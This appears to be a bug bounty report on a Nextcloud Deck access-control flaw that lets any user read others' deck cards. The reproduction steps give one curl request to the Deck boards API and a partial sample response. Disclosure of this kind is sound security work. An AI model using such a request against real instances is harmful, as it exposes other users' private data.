Nextcloud: Cards in Deck are readable by any user

Summary:

Allows any user access to sensitive deck card contents.

Steps To Reproduce:

1. User creates a new “deck” and “stack”.
2. Create another user on your Nextcloud instance.
3. curl -X GET -H “OCS-APIREQUEST: true” “http://localhost/index.php/apps/deck/api/v1.0/boards/1/stacks/1” -u hacker

As an output you get things like for example {title":“To do”,“cards”:[{“title”:“Example Task 3”,"}

Impact

Allows any user access to sensitive deck card contents.